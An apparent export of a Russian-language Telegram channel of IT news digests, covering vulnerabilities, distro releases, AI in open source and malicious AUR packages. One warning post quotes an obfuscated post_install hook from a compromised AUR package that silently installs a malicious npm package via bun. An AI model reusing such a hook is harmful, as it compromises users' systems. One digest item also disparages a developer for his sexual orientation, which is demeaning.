Computers were a mistake
588 subscribers
129 photos
6 videos
7 files
379 links
Kernel panic - not syncing: attempting to resolve IRQL_NOT_LESS_OR_EQUAL.

Для связи: coweram@pztrn.name
Download Telegram
Доброго времени суток! Представляю вашему вниманию дайджест около-айтишных новостей за прошедшие 2 недели (26 мая - 7 июня).

Прошедшее время выдалось очень богатым на уязвимости, поэтому обновляйтесь как можно скорее. Лучше уж "не было печали - апдейтов накачали" и починиться за пару часов, чем ваши данные поимеют тем или иным способом.

- Расширение системной памяти через подкачку в видеопамяти NVIDIA. Если у вас есть дискретка от nVidia на ноутбуке и вы ей особо не пользуетесь, то вы можете через подкачку “расширить” размер доступной оперативки. Выглядит очень неплохо, если вам нужно много оперативки а она, скажем, распаяна.
- Немного приколов про использование ИИ: в jqwik добавлена скрытая деструктивная инструкция для AI-агентов, каталог GNOME Circle не будет принимать приложения, созданные с использованием AI, разработаны правила использования AI в проекте Rust, проблемы с соблюдением авторского права при переписывании ScanCode на Rust при помощи AI, Регрессии в rsync 3.4.3 и принятие изменений, подготовленных с использованием AI.

Подборка уязвимостей:

- Google случайно раскрыл детали неисправленной уязвимости в Chromium. Видимо, внутри гугля не смогли договориться, что это фича, а не баг, но на самом деле это оказалось багом. Ситуация забавная, пользователем хромого соболезную, ибо злоумышленники быстро возьмут это на вооружение.
- Уязвимости в Samba, допускающие удалённое выполнение кода в редких конфигурациях. Конфигурации-то редкие (использование скрипта для аутентификации и сервера печати), но баги стандартные - отсутствие экранирования спецсимволов. Не забудьте обновиться ASAP, если такое пользуете. Также там еще несколько уязвимостей устранили, включая DoS с помощью спецпакета UDP, так что не отмазывайтесь, а обновляйтесь.
- Уязвимости в Unbound, Kata-Containers, BIND, PostgreSQL, HPLIP, MongoDB, Rsync, 7-zip, Yelp, qSnapper и Suricata. Гонки, повышение привелегий, отсутствие валидации входящих данных, переполнение буфера, и, наверняка, use after free (в новости не написано). Классика жанра, обновляемся, если пользуете что-то из перечисленного.
- CIFSwitch - уязвимость в CIFS-подсистеме ядра Linux, позволяющая получить права root. Отсутствие валидации входящих данных. Пока что доступен только патч в ядро, нового релиза оного с фиксом пока нет.
- Макрософаг опять сделал РЕШЕТО - Fedora Linux помог выявить проблему с безопасностью в почтовом клиенте Outlook. Вкраце - аутглюк даже при установленной галке использования STARTTLS для POP3/IMAP его (STARTTLS) не использовал и соединение было нешифрованным. Известно о таком поведении как минимум начиная с Outlook 2007.
- Уязвимость в libinput, позволяющая повысить свои привилегии в системе. Угадайте, в чем дело? 1... 2... 3... И? Угадали! Отсутствует экранирование спецсимволов! Прототип эксплоита уже доступен, поэтому обновляйтесь как только соберут для вашего дистрибутива.
- Атака на реализации HTTP/2, приводящая к исчерпанию доступной памяти. Проблеме подвержены nginx, apache, IIS (который от макрософага), Envoy, Cloudflare Pingora. Там все просто - внутри сжатых заголовков ссылка на значение, которое пустое, но при обработке которого выделяется определенное количество байт в любом случае. Для apache есть фикс, но еще не зарелижен, IIS и Pingora пока не пофикшены, остальное уже зачинено.
- В Chrome устранено 429 уязвимостей, а в Android - 124. Там короче вообще жесть, а 3 проблемы даже сдали Qualcomm, так как косяки - они.

- Релизы дистров и ОСей: AlmaLinux 9.8 и 10.2, Rocky Linux 9.8 и 10.2, NixOS 26.05, Armbian 26.5, Ubuntu Sway Remix 26.04 LTS.

Также у меня появился канал в MAX, присоединяйтесь!
4👍1
Ради прикола попробовал в яндексовую Алису (с плюсом) запустить задачу: "напиши код на Go для обработки вебхуков от Vikunja и пересылки их в $MESSENGERNAME", где оные это тележенька, Макс, ntfy, mattermost, matrix, XMPP, nextcloud talk.

Результаты:

- Telegram: юзабельно
- Макс: нераспарсила что это и сгенерила какой-то рандомный отправщик в рандомный send-message какого-то com-домена.
- ntfy: юзабельно
- mattermost: юзабельно
- matrix: юзабельно
- XMPP: юзабельно
- nextcloud talk: юзабельно

Из спецэффектов: неправильная структура вебхука Vikunja, остальное выглядит вменяемо, для xmpp и matrix вполне нормально сформировала код отправки сообщений, используя правильные зависимости и структуру сообщения.

Скоро опусы с клавой станут не нужны? :)
В списке рассылки AUR (Arch User Repository) идет активное обсуждение вредоносных коммитов, которые устанавливают в зависимости сборки - bun (js рантайм типа nodejs) и в postinstall скрипт вставляют установку вредоносов (типа пакетов js-digest, lockfile-js). Пока что известно (из списка рассылки) о почте 1 тысяче затронутых пакетов (а скорее всего их намного больше), поэтому если будете обновляться - посмотрите в PKGBUILD, чтобы не подтянуть вредоноса себе в систему.

https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/thread/FGXPCB3ZVCJIV7FX323SBAX2JHYB7ZS4/
😢2🫡1
Computers were a mistake
В списке рассылки AUR (Arch User Repository) идет активное обсуждение вредоносных коммитов, которые устанавливают в зависимости сборки - bun (js рантайм типа nodejs) и в postinstall скрипт вставляют установку вредоносов (типа пакетов js-digest, lockfile-js).…
Продолжаем нести вести с полей - теперь там небольшая обфускация через конкатенацию строк все того же bun:

+++ b/htbrowser-bin-deps.install
@@ -0,0 +1,3 @@
+post_install() {
+ $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d'
$'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73'
'n'"e"'x'"t""f"'i''l''e''-''j''s'
+}
4
Доброго времени суток! Представляю вашему вниманию дайджест около-айтишных новостей за прошедшую неделю (9 - 15 июня).

- Возрождение разработки Ubuntu MATE после ухода основателя проекта. Исошника для 26.04 не будет, но вы можете обновиться но "свеженький" MATE 1.28 через apt. Сейчас новая команда разработки дистра под руководством лидера Lubuntu разгребает ошибки.
- Альянс AOMedia объявил о стабилизации видеокодека AV2. Несмотря на внушительный список участников, в ближайшее время доступно будет только софтверный декодинг/энкодинг, поэтому бежать в новый формат смысла особого пока нет.
- Lets Encrypt ввёл запрет на выдачу сертификатов для стран под санкциями США. Уже в интернетах доступны размышления-скандалы по поводу Max, у которого уже отзывают серты, и что будет в принципе со всеми проектами из РФ. Попутно GlobalSign начал отзыв EV-сертификатов у компаний, находящихся под санкциями.
- Уязвимость в процессорах ARM, позволяющая обойти изоляцию виртуальных машин. Кратко - побег из курятника, то есть возможность из виртуалки записать данные в память хоста (ну а дальше все мы знаем - комбинируем уязвимости и вот у нас уже RCE из десятка оных). Затронуты всякие кортексы, неоверсы и олимпусы от nVidia. Патчи есть для ядра linux и Xen, но еще ни в один релиз патчи не вошли.
- Первый стабильный выпуск открытого офисного пакета Euro-Office. По сути пока это просто ребрендинг, но The Document Foundation уже пожурили их за продвижение макрософагского OOXML, а также за то, что назвались "первым открытым европейским офисным пакетом", ибо есть LibreOffice и OpenOffice.
- В Fedora выявлена подмена взломанного участника AI-агентом для продвижения сомнительных изменений. Тут прям драма в нескольких актах, почитайте, как злоумышленники могут подготавливать почву для своих козней. Более прекрасен, конечно же, факт разоблачения.
- Как я писал ранее, некие товарищи скомпрометировали 469 пакетов в репозитории AUR. Потом нашли еще некоторое количество пакетов. А сейчас зарегистрироваться там нельзя. Конечно же, количество пакетов, по ощущениям от переписки, превышает означенное число.
- Власти США предписали Anthropic приостановить доступ к AI-моделям Fable 5 и Mythos 5. Основная причина - модели могут искать уязвимости в софте. Однако, как заявляет Anthropic, другие модели, которые доступны сейчас, тоже могут это делать, и непонятно, почему ограничения коснулись конкретно их моделей. Пока они работают над восстановлением доступа с юридической стороны, можно попробовать взломать Пентагон с помощью Gemini ¯\_(ツ)_⧸¯.
- Релиз ядра Linux 7.1. Из интересного: новый драйвер ntfsplus, первая стадия прекращения поддержки CPU i486, удаление старых Ethernet-адаптеров, протоколов и драйверов, удаление протоколов ISDN и AX.25, включение по умолчанию механизма Intel FRED, поддержка BPF-обработчиков в io_uring, оптимизация подсистемы подкачки, поддержка субпланировщиков в sched_ext, ввод/вывод в режиме zero-copy в драйвере ublk, ioctl-операция “shutdown” в Btrfs, динамическое переключение режима производительности в драйвере amd-pstate, поддержка xattr для Unix-сокетов.
- Релизы дистров и ОСей: Alpine Linux 3.24, GentleOS (с ретро GUI, для ОЧЕНЬ винтажных ПК), Proxmox Mail Gateway 9.1.

Также у меня появился канал в MAX, присоединяйтесь!
👍3
Доброго времени суток! Представляю вашему вниманию дайджест около-айтишных новостей за прошедшую неделю (16 - 22 июня).

- KDE Plasma 6.7. Из интересного - движок оформления Union, сохранение/восстановление сеанса Wayland, разнообразные улучшения в Discover, Plasma Bigscreen, различные оптимизации KWin. Также представлен недельный отчет о разработке KDE, где из интересного - плавная смена темы оформления при ее переключении в настройках, а также фикс краша KWin (готовится выпуск 6.7.1).
- Уязвимости в MySQL, VirtualBox, Solaris и других продуктах Oracle. Плановый выпуск апдейтов, конечно же, не мог обойтись без фиксов уязвимостей. Не забудьте обновиться.
- При переводе Firefox на zlib-rs разработчики натолкнулись на ошибку в CPU Intel. Вкраце: LLVM 22 при генерации кода неправильно работает с регистрами. Патчи для всего уже есть, в LLVM 23 проблема не проявляется.
- Обновление nginx 1.31.2 с устранением уязвимостей, эксплуатируемых через HTTP/3, HTTP2 и gRPC. Не забудьте обновиться.
- Стандартизирован HTTP-метод QUERY, комбинирующий возможности GET и POST. То есть если вы раньше все спокойно решали через POST и все работало отлично, то теперь у вас есть выбор теперь уже из трех штук. Конечно, это логически выверенный дополнительный глагол, потому что в среднем ограничение на длину ссылки - 4 или 8 кб (чаще 4 причем), что делает GET сильно малополезным для тех, кто пользует UUIDы, например.

- Релизы дистров и ОСей: FreeBSD 15.1, Android 17, SteamOS 3.8, Альт Рабочая станция К 11.4, Raspberry Pi OS 2026-06-18, postmarketOS 26.06.

Также у меня появился канал в MAX, присоединяйтесь!
🔥4👍1
Computers were a mistake
А теперь универсальный CSS для Telegram A/K: /* Telegram A start */ .MessageList .messages-container, #MiddleColumn .middle-column-footer { width: 100%; } .Message { --max-width: 100%; } /* Telegram A end */ /* Telegram K start */ .bubbles-inner { …
Как вы знаете, я люблю Ferdium и делать всякие чятики так, чтобы они использовали максимальное количество свободного пространства. Пожалуй, самый "любимый" мною для этих экспериментов - это веб-версии тележеньки. И вот в очередной раз они поправили DOM с таблицей стилей, поэтому пришлось мое прошлое CSSничество пришлось переделывать. Теперь, чтобы сделать Telegram K максимально широким, делаем так:

body:not(.is-right-column-shown), html {
--chat-input-max-width: 100%;
--chat-width: 100%;
}

body:not(.is-right-column-shown) #column-center {
transform: translate(calc(var(--left-column-visual-width) + var(--page-chats-padding)));
width: calc(100% - var(--left-column-visual-width) - 40px);
}

body:not(.is-right-column-shown) .bubbles {
inset-inline: 0;
}

body:not(.is-right-column-shown) .bubbles-inner, .chat-input {
width: 100%;
}


body:not() нужен для того, чтобы относительно корректно отрабатывались ресайзы при показе правой панели с информацией о чате/пользователе. Пока что не победил "дерганую" анимацию при ресайзе, да и думаю не буду - я редко в правую панель вообще залезаю, можно и потерпеть. Однако если вы победите - дайте знать в комментариях кодом победы :).
👍5
Доброго времени суток! Представляю вашему вниманию дайджест около-айтишных новостей за прошедшие 3 недели (23 июня - 13 июля).

1/2

- Первый тестовый выпуск композитного сервера Xfwl4 от проекта Xfce. Крыска понемногу присоединяется к миру Wayland, что не может не радовать.
- Компания Valve выпустила игровую приставку Steam Machine на базе Linux. Безусловно, компании респект за то, что двигает Linux в игровые массы, однако там всего 8 ГБ видеопамяти, то есть играть в 4К или "псевдо-4К" (это которые изогнутые мониторы) с нормальным FPS не получится. Говорю как обладатель такого монитора и 8 ГБ видеокарточки - лучше FullHD.
- Еженедельные отчеты о развитии KDE. Из интересного - тройная буферизация с GPU nVidia, прекращение поддержки OpenGL (OpenGL ES остается), а еще исправили одну уязвимость в механизме действия "Open New Window" (опять фиговая валидация!), Spectacle теперь может писать звук в скринкастах, выхлопали много Breeze-хардкода.
- Microsoft реализовал Linux-контейнеры в WSL. Выглядит интересно, но теперь у вас будет больше геморроя с настройкой инструментария для разработки.
- Очередная чистка ядра Linux. В этот раз нюкают код поддержки старых ARM платформ, EFS (из OS IRIX).
- Linux портирован для игровых приставок Sega MegaDrive. Интересный эксперимент, учитывая старость платформы и то, что внутри ничего не было (вроде MMU или адекватного объема RAM). Следом за этим Linux запустили на Atari Jaguar. Тут тоже интересно, ибо у приставки не было таймера и использовали таймеры DSP.
- На kernel.org по ошибке удалили со всех зеркал архивы с кодом ядра. Happens even with the best of us. Хорошее напоминание о необходимости проверки бэкапов и их разворачиваемости.
- Ядро Linux оказалось на первом месте по числу CVE-идентификаторов уязвимостей. Ну а что поделать, самый популярный опен-сорс.
- Опубликован BSDun, модуль для запуска исполняемых файлов FreeBSD в Linux. Штука, написанная на С, с помощью ИИ, так что будьте аккуратны. Ну а судя по названию - понятно, откуда разработчик, тем более он вроде бы в комментариях к новости отметился.
- В полку селф-хостед корпоративных чатов прибыло - открыли код Chatto. Слышу о нем впервые, но он написан на Go (радостно!) и является заменой слака и маттермоста. Киллерфича (по инфе с сайта) для меня - поддержка созвонов без сторонних сервисов. Надо будет потестировать.
🔥3👍1
2/2

Подборка уязвимостей, брешей и всякого подобного:

- Брешь в инфраструктуре Python, позволявшая подменить ссылки на релизы на сайте python.org. У меня глаза на лоб полезли - если указать юзера "admin" и любой ключ, то вы могли изменить ссылки на загрузку Python, а также подменить чексуммы. И ладно это - уязвимость присутствовала с 2014 года!
- Раскрыты эксплоиты для 23 неисправленных уязвимостей в FFmpeg, VLC, Firefox, Docker, PHP, OpenVPN, nmap, libssh2, nghttp2 и 7zip. Обновляйтесь, если еще не успели! Внутри все классическое - переполнения, отсутствие валидации либо экранирования спецсимволов, немного приправлено (R)CE.
- Проблемы с очисткой ключей шифрования диска из ОЗУ при переходе Linux в ждущий режим. Портирование cryptsetup-suspend выявило, что с 2024 года при переходе в ждущий режим ключи от дисочков из памяти не очищались, то есть можно было через полную перезагрузку по питалову взять дамп свапа и достать ключики. Исправление уже готово и в релизе cryptsetup 2.8.7, так что обновляйтесь.
- Уязвимость в пакетном менеджере Guix, допускающая удалённое выполнение кода в системе. Классическое "разработчики забили на валидацию данных", причем как в пакетах, так и в метаданных о них, которые загружаются с сервера. Обновляйтесь, если пользуете сей пакетник.
- Бэкдор в прошивках Tenda, позволяющий получить доступ с правами администратора. Обновляйтесь, если пользуете, там статический админский пароль.
- Уязвимости во FreeBSD, допускающие повышение привилегий и удалённое выполнение кода. Там много всякого, включая около-10/10 штуки, поэтому если вы фряху пользуете - найдите время и обновитесь, релизы уже сформированы.
- GhostLock, BadEpoll и Januscape - уязвимости в ядре Linux, позволяющие получить права root и обойти изоляцию KVM. Очередная подборка громко названных уязвимостей в ядре Linux, позволяющие получить рута. Эксплоиты есть для всего, как и фиксы в ядре. Обновляйтесь по возможности.

- Релизы дистров и ОСей: KaOS 2026.06, QSOE (QNX-like OS), Mageia 10, CachyOS 260628, Slackel 9.0, ArchBang Linux 010726, OpenWrt 25.12.5, Qualcomm Linux 2.0, Deepin 25.2, Debian 12.15 и 13.6, B1ackOS GNU/Linux (роллинг на базе Debian Sid).

Также у меня есть канал в MAX, присоединяйтесь, там появились комментарии!
🔥5👍1
Computers were a mistake pinned «Этта... https://max.ru/channel_coweram Канал в Максе теперь публичный 🫠.»
У кого пятничный деплой - тот я.

Спасибо гуглу за это, они захотели прямую ссылку на Privacy Policy, чтобы пользователь не скроллил, а бизнес посчитал это критической проблемой ¯⧹_(ツ)_⧸¯.
😭5
Интересное с просторов Usenet (помните, такой форум был раньше, перед вебом?):

10**9 questions = 1 gigawhat
👏8
Доброго времени суток! Представляю вашему вниманию дайджест около-айтишных новостей за прошедшие 2 недели (14 - 27 июля).

1/2

- Инициатива по упрощению тестирования экспериментальных версий программ в GNOME OS. Фактически гномосеки сделали свой Test Flight.
- Представлены X-сервер Frame и рабочий стол CHasm, написанные на ассемблере. Когда сильно заморочился с ИИшечкой и перфомансом. Практическая ценность на текущий момент сомнительная, но наблюдать за проектом будет интересно.
- Очередные еженедельные отчеты о развитии KDE. Из интересного - отрисовка теней на сервере у приложений вроде Steam и Discord (у которых нет теней в вяленом), установка CPU affinity (привязки процесса к CPU) в System Monitor, утилита kscreenctl для управления устройствами вывода.
- Компания Collabora представила Holo Core, порт Arch Linux для архитектуры AArch64. В отличие от множества других компаний, которые используют Linux в своих продуктах, от Valve есть огромная польза, за что им респект. Теперь список пополнился, фактически, портом на arm64, ибо в очках виртуальной реальности от Valve используется Snapdragon 8.
- Разработчик GNOME Calendar обвинил Linux Mint в игнорировании проблемы с устаревшим пакетом. Очередная драма из мира СПО, от одного чтения новости я убедился в том, что заднеприводные, как обычно, жгут, так сказать, по-взрослому. Канадский разработчик индийского (!!!) происхождения нетрадиционной ориентации (осуждаем и порицаем), фактически, пожаловался на то, что пользователи дистрибутивов с длительным циклом поддержки (например, Debian или Ubuntu LTS) запускают старые версии разрабатываемого им ПО. Кстати, быстренько глянув в его mastodon, увидел псто о том, что мейнтейнер из Fedora EPEL посоветовал ему обратиться к врачу. Горячо поддерживаю это направление!
- Возобновлена работа над ОС NextBSD, сочетающей технологии FreeBSD и macOS. В прошлый раз эта история закончилось ровно в тот момент, когда закончились деньги на развитие. Посмотрим, когда эта история закончится в этот раз.
- В ходе тестирования автономный AI-агент OpenAI без явной указки взломал инфраструктуру Hugging Face. В ближайшее время кибербез явно выйдет на новый уровень, постарайтесь не отстать 🫠.
- Сооснователь Twitter представил открытую коммуникационную платформу Buzz. Выглядит интересно, но из-за Nostr и децентрализации никуда далее техногиков это не уйдет, ибо бизнесу нужен контроль над IP, а не вот это вот все. А, еще без учетки openai или anthropic вы в этот "мессенджер" не зайдете 🫠.
- Дерево портов FreeBSD временно заморожено из-за добавления в порты слишком большого файла. Самое забавное, что тут "подкозлила ИИшка" - это был пакет github-copilot-cli, из-за криворукости мейнтейнера оного в гитцы залетел бинарник в 149 мегабайт, а github, куда порты зеркалятся, поддерживает максимум 100 мегабайт. Скажем спасибо Yuri Victorovich.
- Bun завершил перенос с Zig на Rust, после чего разработчики проектов публично разругались. Сразу после этого появились форки, которые продолжают развитие кодовой базы на Zig и без использования ИИ. Как думаете, выживут ли они?
5
2/2

Подборка уязвимостей (не забудьте обновиться!):

- Обновление nginx 1.31.3 с устранением RCE-уязвимости. Переполнение буфера, use after free. Классика.
- Обновление NTFS-3G 2026.7.7 с устранением 9 уязвимостей. Переполнение буфера, чтение за границами выделенного буфера.
- В OpenBSD устранена локальная уявзимость, позволяющая получить права root. И на старуху бывает проруха! Тут use after free.
- Уязвимости в WordPress, позволяющие удалённо выполнить код на сервере. Или почему я не использую wordpress нигде и никому не советую.
- 432 отчёта об уязвимостях в ядре Linux. Локальная root-уязвимость Frag Gap. ИИшечка прямо лютует (ибо большинство уязвимостей выявлено с помощью ИИ), а тем, у кого включен IPv6, особое предупреждение - там обработка спецпакета UDP может выйти за пределы буфера и появляется возможность выполнить код с правами root.
- Уязвимости в XFS, snapd и Exim, позволяющие поднять свои привилегии. Ядрышко обновляем, snapd удаляем, exim, надеюсь, вы уже не пользуете же, да?
- 1434 уязвимости в продуктах Oracle, 82 из которых затрагивают Java, MySQL, VirtualBox и Solaris. Вот и Oracle на свои продукты ИИшечку натравила. 19 - java se, 41 - mysql, 16 - virtualbox, 6 - solaris. Остальное, видимо, что-то проприетарно-закрытое.

- Релизы дистров и ОСей: OPNsense 26.7, Whonix 18.2, Альт Рабочая станция 11.2, Ubuntu Touch 24.04-2.0, РЕД ОС 8.0.3 и РЕД ОС 7.3.7.

Также у меня появился канал в MAX, присоединяйтесь!
2🔥1
Минвайл в AUR очередная волна вредоносных изменений в пакеты. Пока что есть сообщения о:

monitorets
python-unpackable
python-jaraco.packaging
imeditor
python-aiofile
passbook-git
easywifi-git
python-app_paths
cast_control
python-daemons
python-buildlog-consultant
python-types-setuptools

В общем, повремените с обновлениями :)
😢1
Computers were a mistake
Минвайл в AUR очередная волна вредоносных изменений в пакеты. Пока что есть сообщения о: monitorets python-unpackable python-jaraco.packaging imeditor python-aiofile passbook-git easywifi-git python-app_paths cast_control python-daemons python-buildlog-consultant…
Возможность взять пакет на сопровождение в AUR отключена до соответствующего объявления.

Интересно, что придумают в этот раз как защиту...
👍2😢11